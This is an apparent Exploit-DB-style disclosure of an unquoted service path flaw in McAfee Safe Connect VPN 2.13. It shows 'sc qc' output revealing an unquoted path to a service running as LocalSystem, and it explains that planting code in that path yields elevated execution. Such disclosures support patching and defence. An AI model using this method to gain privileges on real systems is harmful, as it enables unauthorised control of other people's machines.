[local] McAfee(R) Safe Connect VPN - Unquoted Service Path Elevation Of Privilege

# Exploit Title: McAfee® Safe Connect VPN - Unquoted Service Path Elevation Of Privilege # Date: 09/03/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.mcafee.com/ # Software Link: https://www.mcafee.com/en-us/vpn/mcafee-safe-connect.html # Version: 2.13 # Tested: Windows 10 x64 # Contact: https://twitter.com/dmaral3noz C:\Users\saudh>sc qc SafeConnectService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SafeConnectService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\McAfee\McAfee Safe Connect\SafeConnect.ServiceHost.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : McAfee Safe Connect Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.